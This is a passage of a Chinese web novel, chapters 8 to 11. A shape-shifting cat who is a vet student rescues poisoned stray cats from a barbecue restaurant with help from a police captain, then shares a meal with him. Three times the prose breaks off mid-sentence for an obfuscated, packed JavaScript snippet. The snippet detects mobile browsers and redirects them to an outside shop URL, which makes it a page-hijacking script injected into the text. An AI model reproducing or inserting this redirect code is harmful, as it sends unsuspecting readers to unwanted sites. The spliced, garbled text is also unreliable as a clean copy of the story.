顾不上再去救其他猫,江亦一咬紧牙关,转身就往回跑。 刀疤狸脸上的伤已结痂,骨折的尾巴怪异垂着。江亦一声音发紧,“坚持住,听见没有,坚持住!” 他远远就喊:“大黄,开门!” 大黄狗顶开门栓,江亦一冲进院里,直奔一楼最里间的手术室。 他把刀疤狸放上操作台,检查情况。 牙龈失色,体温降低,呼吸又浅又急。 江亦一有些懊恼地抿紧唇角,心狠狠沉了一下。 他判断错了。 他以为它只是外伤,且已止血就先没管,现在看来,它也碰过毒饵。 家里的检测仪器还在,可配套耗材早就用光了。江亦一做不了检查,只能先取样封存,再给刀疤狸洗胃。 缝合伤口,固定折尾。止痛药起了作用,刀疤狸昏昏沉沉,偶尔身体轻轻抽搐,喉咙里漏出一点微弱的呜咽。 江亦一不知道它能不能撑下去,他也不能一直守下去。 将刀疤狸转移到观察室里,江亦一站了几秒,转身走进小隔间。 小隔间光线昏暗,通风不好,但没办法,江亦一平日里出门只能将老猫挪下来,交给猫狗照看。 江亦一慢慢蹲到床边,垂着脑袋,很轻地喊了一声:“爷爷。” 他不知道该怎么办。 老猫没有回应他,身下是洇开的一片湿痕。 江亦一静了片刻,给高良姜擦洗干净,又换上新的布褥。 “老大……”半耳橘耷拉着仅剩的耳朵,跟在江亦一腿边。 江亦一摸摸它的脑袋,声音已经稳下来:“看好爷爷和刀疤狸,我再出去一趟。” 一群猫狗跟在他的身后,一直送到门口。哪怕江亦一的身影看不到了,它们也脑袋挤出栅栏,一双双眼睛巴巴张望着。 江亦一在想方法解决。 他早就查到烧烤店老板在毒害流浪猫狗,可他能做的也只有叮嘱小家伙们不要去那片区域讨食。 流浪猫狗的生命不受法律保护,他找不到更好的办法,只能借着打工的名义去找对方把柄。 残害弱小的人,能是什么好人? 事实也证明他没冤枉他。 可举报罚款对恶人而言似乎不痛不痒。他依然在残害无辜的生命。 江亦一拉起兜帽,悄悄从后厨的卸货门绕进店里。油烟机轰隆隆响着,这里刚被整顿过,卫生情况如今竟还不错。 他举着手机录制证据,却在打开一扇门时,脑子里轰的一声,浑身血液都凉了下去。 案台上挂着一只被剥了皮的狗。 这家店整顿几日再次开业后,想出了新的招牌菜:狗肉。 江亦一弯腰,捂住嘴巴,止不住地干呕。 “唔咪……” 一声微弱的叫喊如冰水兜头浇下。江亦一抹了嘴角,循声望去,终于在角落里发现了那几只被塞进铁笼的猫。 它们挤在一起,神情张皇,状态都很不好。 江亦一攥起战栗的掌心,压低声音安抚着:“别怕,我来救你们。” 他蹲下去扯笼门,铁笼哐当作响,几只猫吓得缩成一团。 扯不开。 江亦一又去摸案台、抽屉、墙角,想找能够撬锁的东西。 没有! 什么都没有! 只有门外不断逼近的人声响起: “狗就算了,还真有人能吃猫肉?” “你懂什么,龙虎斗没听过啊?再说了,这狗肉要钱,猫白送啊,不尝白不尝呗。” 门被推开的瞬间,江亦一躲至门后。 “你再去剔盘狗肉出来,我去杀只猫。” “不用,冰柜里还有只处理好的没用……” 江亦一屏住呼吸,隔着门缝,与铁笼里的它们对视着。 它们乞求他别走。 江亦一腮侧咬紧,无声说:等我。 趁那两人转身搬东西的空隙,他贴着墙根闪了出去。 巷子里暮光依然刺眼,江亦一却浑身发冷,手脚都不像是自己的。 怎么办……怎么办!! 他反身一脚踹墙,想要打举报电话,想要打报警电话。 可是没有用,他不是没有试过。 可他还是只能报警。却在掏手机时摸到了别的东西。他随身带着那几百块钱,想要遇见屈政彧的时候还给他。 江亦一瞪着罚款单上的字迹,狠狠抹了把脸,抬脚跑了出去。 他一路跑,跑得汗流浃背,跑到昨天的路口。 找了一圈又一圈,他就是找不到那个人。 耽误自己事的时候他无处不在,真要找他的时候却连个影子都没有。 江亦一问了其他交警,问他们屈政彧在哪里,他们却说“下班了”。 罚款单上的字迹已经被汗泡得模糊。 世界上的人都下班回家了。 江亦一看着乱糟糟的墨痕,忽然不知道自己能不能回家。 尖锐的鸣笛声猛地刺进耳膜,一辆车擦着斑马线疾驰而过。 江亦一瞳孔一缩,还没来得及后退,腰间骤然一紧。 一条手臂从后横来,他的后背撞进了一个结实宽阔的胸膛里。 江亦一怔怔抬头。 屈政彧低头看他,脸色沉得吓人,“江亦一。我怎么跟你说的?让你安全为重,安全为——” “你、”江亦一猛然急道:“你能不能帮帮我?小猫,小猫……我不知道……我想找警察,但……” “慢慢讲,不要急,”屈政彧抬手托住他的后颈,低声说:“你要过度呼吸了。” 江亦一喘得乱极,指尖发麻,眼前发花,攥着屈政彧袖口的手抖得几乎抓不住,“手机,我录了证据……” “江亦一!”屈政彧猛地捏住他的后颈,沉声道:“看着我,听话!” 江亦一睫毛一颤。 屈政彧缓声却不容拒绝:“吸气,憋住。再慢慢吐出来。” 江亦一跟着他的节奏调整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534345|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸,反复几次,终于一点点平静下去。 “很好。”屈政彧伸手覆住他的脑袋,“现在告诉我,你的麻烦。” 烧烤店里热火朝天。 正是吃饭的点,店里坐满了人。炭火滋滋作响,油脂滴进火里,腾起一阵焦香。 “味道怎么样?”老板眯目笑问。 “还可以。”啤酒肚顾客满嘴油腻,“怪不得说狗肉好吃呢,比猪肉紧比羊肉细。就是贵了点。” 老板说:“狗肉这种东西你也知道的,货源难得。送盘猫肉您再尝尝味道。” 侧桌有两位顾客面色不好,其中一个频繁在睨。同伴拉着她的手使劲摇头,可她还是忍不住,旁敲侧击骂道:“搞什么东西啊?这都什么时代了怎么还有人吃狗肉?” 啤酒肚拍桌而起,“你这人怎么说话的?我吃狗肉怎么了?人家店里合法售卖我付了钱的,合法合规,关你什么屁事啊?” “我说还有人,我可没说你。” “臭婊子,我看你——” 就在啤酒肚要动手之际,一声冷喝道:“你想干什么?” 坐岸观火的烧烤老板听声回头,看清来人时目露忌惮。 这人气势太盛,生意场上打滚过的一看就知他不一般。 他露出客套的笑,正要假模假样劝和,就瞧见那匪人身后露出一颗熟悉的脑袋。 “江亦一?!”“你又算什么东西?” 烧烤老板与啤酒肚的声音交织在一起,屈政彧掏出证件,“你说我算什么东西?” 那将军肚原本猪血冲脑猪头发红,看清证件时血一下退了,脸白了,讪讪坐下去,“我没想干什么,我就吃热了,起来站站。” “警察同志这是什么意思?”老板见江亦一一副有了靠山的样子,顿时冷下脸去,“我合法经营……” “我又没说你不合法经营。”屈政彧打断他的话:“你着什么急呢?” “我,” 江亦一拉拉屈政彧的衣摆,“警察叔叔,就是他偷了我的猫。” 屈政彧被喊得浑身一麻,莫名起了一身鸡皮疙瘩,竟沉浸在这种陌生的感觉里,思绪飘了一下。 老板怒道:“你就是个忘恩负义的骗子!” 江亦一在屈政彧这儿可以是小骗子,在别人嘴里出现,莫名就叫他不爽。 屈政彧眼皮一抬,声音淡了下去:“是吗?我接到报案,有人称你们店关押了他的猫。既然你说他撒谎,那就进去看一眼。” “凭什么?”老板脸色一变,“我正规经营,你说查就查?” 屈政彧把证件一收,抬脚就往后厨走。 老板拦不住他,等追上去时那两人已经站在笼口。 江亦一怎么也打不开的铁门,被屈政彧十指一扯,硬生生扳裂开来。 江亦一看着他青筋虬起的小臂,睁圆了眼睛,回神之后赶紧去抱猫。 “它们都是我养的。”江亦一绷脸说。 “你说是就是?”老板冷笑:“我算是看出来了,你们就是一伙的。我又不是没见过警察证,长得根本不是这样的。 “我已经报警了,你们等着吧。” 屈政彧笑了。 9. 撑腰 江亦一的心脏一点点收紧。 因为他也不知道屈政彧到底是什么人。 城管,劳监,交警,警察。 哪有人一天换一个身份的? 屈政彧垂眼看他,像是看穿了他在想什么,捏了捏他的后颈,“检查小猫有没有受伤。” 他的语气太平静了,平静到江亦一绷了一路的肩胛,慢慢放松了下去。 “你们有吃毒饵吗?”仗着普通人根本不会想太多,江亦一神情自然问。 几只猫喵喵叫:“没有,老大吃了两口就说有毒,不许猫碰。” 除了受惊后有些应激,这几只猫身上倒没有太重的伤。真正伤得厉害的,反而是拼命逃出去报信的刀疤狸。 屈政彧肩背抵墙,一条长腿微屈,低头点了根烟。 火光在他指间一闪,他半眯着眼,注视着蹲下身的江亦一。 几只猫贴着他,挤着他,谁也不肯离开他。 少年清瘦,但并不是纤细,肩背肌肉虽浅,却很有韧劲。年纪小,骨架还没完全长开,衣服又不合身,低头时露出一截后颈,白得干净。 只是屈政彧的指印还留在那里,一点红,突兀得扎人眼睛。 香烟燃到指节,屈政彧被蛰到,慢慢移开视线。 烧烤老板早让人锁了出口,又躲出去打了电话。再回来时,他点头哈腰地领着两个民警进门,“周警官,就是这两个人跑到我店里闹事。” 他扭头一转向屈政彧,瞬间变脸,“特别是他,我怀疑他冒充警察!” 屈政彧没急着说话。 他掐着烟,慢条斯理地在不锈钢台面上碾灭。 火星“滋”地一下暗了,他抬起眼睛,语气散漫:“你可以质疑,但话要想清楚再说。” 老板被他看得心口一跳。 屈政彧将烟头丢进一旁的垃圾桶,淡声道:“造谣诽谤是要承担法律责任的。” “你说你是警察,”领头的民警目露审视,“那你是哪个单位的,为什么单独到场?” 屈政彧一时沉默。 江亦一往他身边挪了两步,睁大眼睛看着人。 “没事。”屈政彧想揉一下小孩的发顶,结果手刚抬起来,就被江亦一怀里的猫龇牙哈气。 屈政彧动作一顿,轻“啧”一声。 老板像抓住把柄,“周警官,您看见没有?他答不上来!”他往前跨了半步,指着屈政彧嚷道:“你刚才不是挺能耐吗?不是拿证件吓唬我吗?警察同志问你话呢,你倒是把刚刚的证件再拿出来啊!” 屈政彧如他所愿,掏出东西递了过去。 周警官盯着证件看了几秒,脸上的怀疑非但没有褪去,反而更谨慎了些。他没有当场表态,只拿着手机走到一边,与局里核对情况。 老板一直盯着他的脸色,见状心里一定。 看吧。 果然是假的。 他腰杆一下挺直了些,方才被屈政彧压下去的那点气焰又冒了出来,嘴角也跟着往上扯,“江亦一,你白天来我店里闹事,傍晚又进我店里想偷东西,现在竟然还敢回来?” 江亦一飞快想着对策。 只要能证明这些猫是自己的,那他后面的一系列行为就都有动机支撑。 “我有证据。”江亦一不理他,直接对另一民警说:“这个人下毒抓我的猫,有一只逃了出去报信的,我留了毒饵样本,现在就能回去拿。” 老板冷笑打断道:“你觉得警察会听你鬼扯?” 垂死挣扎罢了。 “谁在鬼扯?”周警官挂了电话,走了回来。 老板如找到主心骨,去拉周警官的衣袖,“就是这个叫江亦一的。” 周警官把手一抽,转身面向屈政彧。在老板不可置信的目光里,他抬手敬礼,“屈队,有什么需要我们配合的吗?” 老板的脸瞬间僵住。 他看看敬礼的人,又看看被他敬礼的人,刚刚才挺起来的腰又一点点的塌了回去。 “有啊。”屈政彧慢悠悠笑了下,“当然有。” 那只徒手扯开铁笼的手,拍在老板肩上,“你说你是合法经营,是吧?” 老板被拍得差点没跳起来,胡乱点头,“是、是啊。” “那你店里的这些猫,一定有来源和检疫证明吧?” 怎么可能会有。 老板额头冒汗。 他卖的狗肉的确能拿出手续,可这些猫不一样。它们是流浪猫,没来源,没检疫,没记录,就是一群命贱的土猫。 老板强撑道:“这些猫不是用来吃的,我就是怕它们偷店里的食物才抓起来的,下班后就会放掉。” “你撒谎。”江亦一掏出手机,点开播放,“我一直都有录证据。” 老板脸色一白,下意识看向周警官。却见那人直接移开了视线。 “将可能吃过毒饵的猫宰杀售卖。”屈政彧拍了拍他的肩膀,语气很淡,“你胆子倒是大。” 老板这才意识到问题所在,腿一下子软了。 他忽然转头看向江亦一。 “亦一。”老板的声音软下去,“你看,咱们好歹也认识一场。之前你在我店里干活,我也没亏待过你吧?” “你不是很缺钱吗?我可以帮你。”老板往前走了半步,低声商量:“而且这些猫也没出什么大事,你跟这位警官说一句,就说这都是误会,行不行?” 江亦一在他希冀的目光里,举起手说:“报告警察叔叔,这个人想收买我。” 屈政彧侧过脸,肩头明显抖了一下。 江亦一放下手,静了两秒,说:“有只猫中毒了,尾巴断了,到现在还不知道能不能活。你却说没出大事,都是误会。” 他看着他,斩钉截铁,“我拒绝。” 老板脸上的笑彻底挂不住了。 屈政彧笑够了转回身,目色一冷道:“江亦一,是谁打的你?” 江亦一一时没反应过来,看着他高大的身躯完全挡在自己身前,“什么?” “我问是谁,踢在了你的腰上。” 江亦一自己都要忘记了,自己都屏蔽了的痛觉,在这时突然涌了上来。他张了张口,下意识想说算了。 “指,不要怕麻烦。”屈政彧说:“我在这儿。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534346|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江亦一猛地低头,几秒钟后,他抬头指向那个打手,“是他。” “很好。”屈政彧对民警笑道:“人身伤害这边也一起受案吧。” 市场监管的人来得很快,进门就控制了现场。吃过猫肉的顾客得知情况,当场就炸了。不少人拍桌子要说法,嚷着要去医院做检查。 老板站在一片吵嚷声里,脸白得像死人。 餐厅被责令暂停营业,老板和打手也被带回警局做笔录。这家店还能不能开下去,已经不是他托关系就能糊弄过去的事了。 江亦一被屈政彧拎去做了伤情检查。腰侧贴着止痛消肿的药膏,他一脸茫然地抱着几只猫站在医院门口,不敢相信事情就这么解决了。 “走吧。”屈政彧把烟盒塞回口袋,朝他偏了偏头,“我送你回去。” 江亦一慢半拍抬头,“啊?” 屈政彧伸出手,不管几只猫冲他哈气,动作利落地把它们从江亦一怀里一只只捞出来,欻欻几下塞进袋子里。 江亦一抿了抿嘴,小声说:“我可以自己……” “你不可以。”屈政彧打断他,抬手在他后颈虚虚一按,“走。” 他们来时骑的是屈政彧的机车。 江亦一那会儿满脑子都是救猫,急得连自己怎么坐上车的都没注意。这会事情暂且解决了,精神松懈下来,才后知后觉发现有些不对。 机车后座窄,他抱着一袋猫,只能贴着屈政彧坐。 起步时车身微微一沉,江亦一下意识伸手搂住屈政彧的腰。 掌心贴上去的一瞬间,他整个人都僵了一下。 屈政彧腰腹很硬,隔着衣料也能摸到肌肉深刻的隆起。不是健身房里练出来的线条,是一种更沉稳、更坚实的力量感。 江亦一莫名有点不好意思,松了手,指尖虚虚揪住屈政彧腰侧的衣摆。 宽大的手掌从前头探过来,握住江亦一的手腕,直接按回自己腰上。 “让你注意安全。”屈政彧没回头,声音隔着头盔有些低沉,“你这样能坐稳吗?” 江亦一指尖蜷了蜷,想抽没抽出来。 屈政彧又道:“本来腰就受伤了,别瞎扭。” “……”江亦一抿紧嘴巴,闷闷地把手重新环住。 一路疾驰,机车停在家门口,江亦一脱了头盔还给屈政彧,“……谢谢你。” “和警察叔叔说什么谢?”屈政彧取下车把上的袋子递过去,“把药拿着。” 江亦一愣了一下,“你什么时候买的?” “你猜。”屈政彧启动按钮,发动机低低震响,“行了,你进去吧,我走了。” “……”江亦一捏紧纸袋,突然喊:“屈、屈政彧。” 屈政彧偏头看过来。 江亦一垂着眼睛,声音不大:“你还没吃晚饭吧?那个……你要是不嫌弃的话,我……” 他话没讲完,机车一倾,已经熄了火。 屈政彧长腿一跨下了车,“走吧。” 江亦一愣住。 屈政彧摘下头盔搭在臂弯里,垂眼看他,唇角懒懒一挑,“我要吃牛肉面。” 10. 吃面 屈政彧只是随口一说,没想江亦一竟真的在准备面条。虽然没有牛。 厨房很小,灯也旧,少年清瘦的背影在昏黄的灯光下格外宁静。 鸡胸肉刚熟,他拿出整块撕成细丝,又将剩下的切成碎丁。 他做事很认真,垂着头,刀哒哒哒切得很快,一看就是做惯家务的。 屈政彧就那么看了许久。 等到回神,他挽起袖口上前说:“我来帮你吧。” 江亦一蹙眉扭头,“都说不用了,你一进来光都没了。” 屈政彧还是头一回被这样三番两次的嫌弃,他无奈往门框上一靠,两手抱胸充当门板。 “也别堵在这里。”江亦一把鸡肉丁拌进盆里,“你帮我喂一下猫狗吧,肉多的喂猫,饭多的喂狗。” 使唤人还挺顺口。 屈政彧挑了下眉,接过来就往院里走。 这不是个好干的活儿,因为他们屈家,全都猫嫌狗憎。 屈政彧从小就纳闷,你说他爸和屈蘩英讨这嫌讨那嫌,那都能理解,可他妈温柔美丽,怎么也不招小动物喜欢? 屈政彧看着院里一排排排列整齐,凶神恶煞的猫狗。 真是怪事。 他走一步,这些小家伙也挪一步。不远不近,保持着一种相当警惕的距离。 屈政彧端着盆,忽然往前一跺脚,冲它们短促地“哈”了一声。 霎时间,院里猫叫狗吠炸成一片,朝着屈政彧开了加特林似的突突突。 屈政彧勾唇坏笑,挖起饭往食槽里舀。 “你吓唬它们干什么?”江亦一端着面条出来,放在院中的小桌上。 “冤枉啊大老爷。”屈政彧直起腰,语气坦荡:“小的什么也没干啊。” 江亦一狐疑地觑了他一眼。 猫狗还在冲屈政彧叫,旁人听不懂,落在江亦一耳朵里却没一句能听。他俊脸一板,“不许说脏话。” 话音一落,刚才还龇牙咧嘴的一院子猫狗,立刻像被掐住了后颈。耳朵塌了,尾巴低了,叫声也跟着软成一串哼哼唧唧。 它们挨个从江亦一腿边蹭过去,路过屈政彧时,又齐刷刷冲他呲了下牙。随后一头扎进盆里,吃得格外凶狠。 屈政彧自觉不跟小猫小狗一般见识,提起裤脚坐在小凳上,“你这是上哪搜罗来的这些瑰宝,两三只才能拼出一只完整的来吧。” 江亦一不理玩笑话,把筷子塞他手里,“吃你的面。” 天热,他搬了一个落地扇出来,转身又走进屋。 灯泡吊在小桌上方,光不是很亮,昏昏一团,照得世界都像旧照片里的东西。飞虫绕着光打转,偶尔撞上去发出“噼啪”响。 屈政彧从未经历过这样子的生活。 他支着手,筷子拿在手里,视线追逐着屋里的人,心中莫名有些安定。 “怎么不吃?”江亦一叠了张纸托着蚊香,放在桌角。 “等你一起。”屈政彧说。 江亦一也坐了下去。 桌子本来就小,他刚坐稳,膝盖就碰到了屈政彧的腿。 江亦一愣了一下,下意识抬头看过去。 屈政彧那么高大的一个人,挤在只矮小的板凳上。肩背宽阔,长腿没地方放只能曲着,跟只蜷着的座山雕一样。 江亦一看了两秒,嘴角没忍住往上牵了一下。 “笑什么?”屈政彧歪头看他。 “没什么。”江亦一磕齐筷子,“吃吧,面都要坨了。” 一时间,只剩下两人吃着东西与远处蛙鸣的声响。 屈政彧看着大老粗,吃饭动静倒挺小,不吧唧嘴不废话,莫名有种与本人很不搭的斯文感。 江亦一捏了捏筷子,“不好意思啊,家里没有牛肉。” 屈政彧咽下面,抬眼看他,“我说要吃,你还真就给我做啊?”他拉着调子道:“没看出来你这么听话啊,小江师傅。” 江亦一总觉他阴阳怪气,忍不住瞪他。 屈政彧笑了声,又低头吃了口,“比我在店里买的二十一碗的好吃多了,手艺不错啊,小江大厨。” 江亦一踢了他一脚,“你不要乱喊我。” “那我喊什么?”屈政彧挑眉,“江小冒?” 江亦一耳朵一热,又踢了过去,却被屈政彧膝盖一并,夹住脚腕。 小桌底下地方窄,屈政彧这么一夹,江亦一半条腿都动不了,狠狠瞪他,“松开!” 屈政彧慢条斯理挑着面,“不是你先踢的?” “是你先乱喊的!” 屈政彧语气还挺真诚,“怎么就乱喊了?这不都是尊称吗?” 江亦一懒得理他,使劲扭着脚,也不知道是蹭到什么了,屈政彧突然松开膝盖,搞得江亦一差点惯性摔倒。 这个人果然性格差劲!江亦一怒扒拉面条。 屈政彧老实了夹腿,把自己碗里的鸡丝拣过去,“多吃肉,正是长身体的时候,你吃白面能长好啊?” 江亦一把鸡丝拨回去,语气很硬,“家里肉多得很,我就是爱吃白面。” 哎,这小犟孩子。 屈政彧哗哗两口吃完,把碗往前一推,“你做的太好吃了,我很久没吃过这么对胃口的面条了,能不能再吃一碗?” 江亦一愣了一下,又点点头,端起碗就去给他盛。 真好哄。屈政彧想。 算他有品位。江亦一想。 可品味在饭桶面前不值一提。在屈政彧干掉第三碗后,江亦一板着脸说:“没有了!” 屈政彧视线一低,江亦一捂着自己的碗警惕。 屈政彧目露可惜,“那就不吃了吧。” 这就是个大饭桶!吃掉了江亦一整整一捆挂面! 一捆!五块钱! 屈政彧不知道自己本就所剩无几的形象岌岌可危,支着脑袋看江亦一吃面条,非要吹得一点都不烫了才进嘴。 他望向院里躺了一地的猫狗,指着一只问,“这只半个耳朵的叫什么?” 刚刚就属它哈得最凶。 “梵高。” 屈政彧一顿,“哪个梵高?” 这人的文化水平这么低吗?江亦一奇怪地看了他一眼,“画画的梵高啊,向日葵知道吗?” “……”屈政彧看着半耳橘空荡荡的左耳,清了下嗓子:“那那只呢?” 那是只没有前肢的玳瑁。屈政彧在脑子里匹配着哪个名人是没手的。 却听:“它叫后驱。” 屈政彧摸嘴摸鼻梁,又去摸眼眶,一秒做了八百个假动作也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534347|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能把嘴角压下去,“那、这只。” 他使劲咳了一声:“不会是叫前驱吧?” “不是。” 那咋不是呢?屈政彧看着那猫瘫痪的后肢,有些不能理解。 “它叫L。” “哟,这还是个英文名呢?为何?” 话刚问出口,那只猫动了。 它前爪扒地,往前走了两步,瘫着的两条后腿横在右侧,被它拖出一个明晃晃的折角。 屈政彧看了两秒,懂了。 L。 他终于不能再忍,低头笑出了声。起先只是闷在喉间,后来实在憋不住,整个人往后一靠,笑得胸腔都震起来。 L被他笑得一惊,两只前爪爬得飞快,L,L着就跑远了。 “我真不行了。”屈政彧抹着泪道:“你太有才了。” 屈政彧觉得自己这辈子都没笑得这么开心过。 江亦一不懂这有什么好笑的,板着脸踢了他一脚,“你都吃完了,可以走了。” “抱歉,抱歉。”屈政彧笑意还没从眼尾散干净,直起身说:“刚吃完就赶客人走啊?小江师傅的服务时间这么短?” “什么服务,我家又不是饭店!”江亦一推着他往门口去。 “那更不能走了。”屈政彧说:“饭店吃完能走,家里吃完得帮忙收碗。” 江亦一一愣。 屈政彧已经站了起来,弯腰把碗叠在一起。 江亦一下意识伸手去抢,“不用你。” 屈政彧手一抬,没让他够着,“别闹。”他声音里没了笑,“进去洗漱,把药给换了。” 洗碗、擦桌、扫地,他真动起来极为利落。 等到江亦一洗完澡换了衣服出来,发现他把猫狗吃饭的食槽都刷干净了。 “行了。”屈政彧甩着手上的水珠,“你早点休息,这几天不要再去上工了。” 他走过去,想揉江亦一的脑袋。手上没干,罢了,“听话,腰伤了就休息,加重了更麻烦。” 江亦一抿着嘴,也没说好。 屈政彧抬手捏了下他的后颈,“别犟!听见没有?” “不要你管。”江亦一抬手就要拍他,屈政彧快速一闪,痞笑着两指一比,“我走了啊,小朋友。” 这什么人啊……江亦一对着他的背影挥舞拳头。 门口机车一响,江亦一关了院灯。他转身进屋,正打算去抱老猫,发现柜台上多了点东西。 是几张钞票。 江亦一盯着钱呆了很久,反应过来,一把抓了钱就往屋外追,“屈政彧!” 可那人早就轰隆隆地开走了。 屈政彧停在路边,倚着车,抽了根烟。 想到小孩炸毛的样子,他咬着烟笑了笑,视线往后座一扫,却也发现多了点东西。 裹得严实,有零有整的卷在一起,塞在夹缝里。 屈政彧“啧”了一声:“真犟。” 他摩挲着几张钱,半晌,掏出手机。 电话拨出去,很快接通,“张青,帮我查个人。是个烧烤店老板,我要他的基本情况,从出生档案开始往后捋。” “屈队,书记说……” “告诉你家书记。”屈政彧眯着眼吐了口烟,“我要回公安了。” 11. 入账二十 小猫扒拉着自己的那点存款,愁眉不展。 人,坏! 要不是坏人下毒抓猫,他就不会受伤,不受伤就可以打工,可以打工就会有钱。 江亦一越想越气,挂在椅子腿上吭哧吭哧挠了两下。 钱,少。 人,坏。 房东,更坏! 这鸟不拉屎的地方,周围除了他们这一户几乎是没人住的危房,就这样,他还好意思提涨租! 江亦一气不过,抬腿蹬了椅子一脚。 椅子呻吟一声,他也“嘶”了一声。 腰、腰,小猫的腰…… 他疼得瞬间蔫巴了,慢慢滑到地上,摊成一滩猫饼。 哎……没钱……怎么才能搞到钱…… “老大!老大!”外头有猫在喊。 江亦一艰难翻起身,尾巴扶着腰,一节一节蹭下楼梯,“怎么了?” “锅盔头说它捡到了钱!” 锅盔头是昨天获救里的一只,见江亦一出来了,它小跑上前,放下嘴里叼的东西,“送给你。” 蓝色的纸币,竟真的是张十块钱。 江亦一有些讶异。 家里的猫狗虽然有捡钱的信念,却没什么分辨钱的能力,经常叼回来花花绿绿的纸。到了清明冬至这些要烧纸的日子,那家里更是开了人冥银行。 “老大这个是钱吗?”半耳橘急切问。 江亦一刚点脑袋,它立马拍了锅盔头一巴掌,“干得好!锅盔头!你快教教猫是怎么认的!” 两只不久前还在街头为了老鼠打得鸡飞狗跳的猫,就此握尾巴言和。 而小猫医生今日入账十元。 江亦一收好钱竖起尾巴,哒哒哒地走进浴室,变回人形穿上衣服。 裤子卡在胯骨上,他背身对着镜子,偏头查看腰侧的伤。 镜中映出他清薄的腰肢与凹陷的腰窝,一大片淤青乌紫交错,落在白皙的皮肤上触目惊心。 江亦一倒了点药酒在掌心,反手往腰侧抹。指腹刚碰到肉,他肩背便猛地一绷,喉咙里也随即一声: “嘶——这小腰真够细啊。” 屈蘩英举起速写,对光照着啧啧称奇,“你禽兽啊屈政彧,老树开花看上了个这么嫩的?这模样、这小脸,这成年了吗?” 屈政彧面无表情,“你瞎扯什么,什么看上不看上的,这就一小孩,而且人过了今天就成年了。” 屈蘩英一脸沉痛,“所以今天还没成年啊。” “……”屈政彧懒得跟他姐啰嗦,“你到底行不行?不行我找你老婆了。” “行~怎么不行~”屈蘩英挑着眉笑,模样与屈政彧分明不相像,气质却雷同得出奇,“君姨知道了吗?” 屈政彧掏了根烟点上,“跟我妈有什么关系。” “咋没关系。”屈蘩英也摸出烟盒,“你找我帮你选,还不如找君姨。” 屈政彧他妈掌管商业帝国,旗下数不清的产业,其中就包括奢侈品衣包。 “不过小男生啊……君姨估计没意见,但我爸就不好说了。”屈蘩英啧啧摇头,“你自求多福吧兄弟。” “你扯哪去了。”屈政彧说:“小孩家里条件不好,给钱也不要,送几件衣服给他当生日礼物罢了。” “你能有这么好心?”屈蘩英满脸不信。 女儿多像爸,她个子还高,一米八几跟个翻版屈剑虹似的。 屈政彧点点烟灰,神情淡然,“你当我是你,脑子里全是见色起意。” 屈蘩英还很骄傲,“见色起意咋了,你嫂子那么好看,我不起意才是性无能。” “行了,别胡咧咧了,赶紧给我挑几件。” 屈蘩英咬着烟给他拿册子,“都是这季的秀场新款,你看看瞧上哪些。” 屈政彧穿着时髦,其实不懂时尚。毕竟他妈每季都让助理搭配好直接送到衣柜里,他穿什么一套套拿就可以。 “你看着搭吧,不要太贵。” 屈蘩英顿了顿,目光落在他手腕上那将近四百万的理查德米勒上,“咋的,君姨把你卡断了?终于轮到你没钱了?” “你这大脑每天都在想什么?”屈政彧无语,“小孩自尊心强,太贵的我怕他不收。” 屈蘩英“哦”了一声:“他家境不好的话应该也不认识什么牌子吧?” 倒也是……屈政彧说:“那你挑点小众的,挑适合他风格的。” 都上心成这样了,还说我扯哪去了。屈蘩英笑而不语,“行~” 江亦一垮着一张俊脸。 该死灾老板,他才发现那天穿的裤子被刮烂了。这可是360度的!花了他五十块呢! 江亦一丢也舍不得丢,看着裤子上的破洞,索性给它剪了。 “还挺凉快……”江亦一刚套上裤子,就听半耳橘喊:“老大,那个四眼仔又来了。” 吴渊? 吴渊是江亦一的高中同学,少数能说上几句话的人。 江亦一过去开门,“你怎么来了?” 吴渊提起手上的西瓜,“我爷送了小半车,我拿一个过来给你尝尝。” 江亦一接过东西,低声说了“谢谢”。 吴渊对着大黄狗“去去”几声,又说:“你今天没出去打工啊?” 江亦一“嗯”道:“打算休息两天。” 吴渊点点头,像是随口聊天:“也好,老是这么连轴转,身体哪能吃得消。你也别太拼了,钱总归是慢慢挣的。” 他把手揣回裤兜里,像是忽然想起来似的:“对了,你学费凑到了吗?” 江亦一打了井水,把西瓜丢进池里,语气平平的:“没有。” 吴渊几乎是立即追问:“那怎么办?”话一出口,他像是也觉自己问得太快,赶紧把声音放缓,补了一句:“你总不能因为交不起学费就不上大学吧。” 江亦一抬头看了他一眼,好似有些莫名:“不用学费啊。” 吴渊一愣。 江亦一说:“梧大给了我全奖。” 屋里安静了两秒,吴渊脸上一僵,随即又笑起来,“也是,也是,你成绩那么好。” 他低头推了推眼镜,若无其事地继续问:“那你几号报道啊?” “不报道了。”江亦一看着他,笑了一下,“我家里的情况你也知道。” 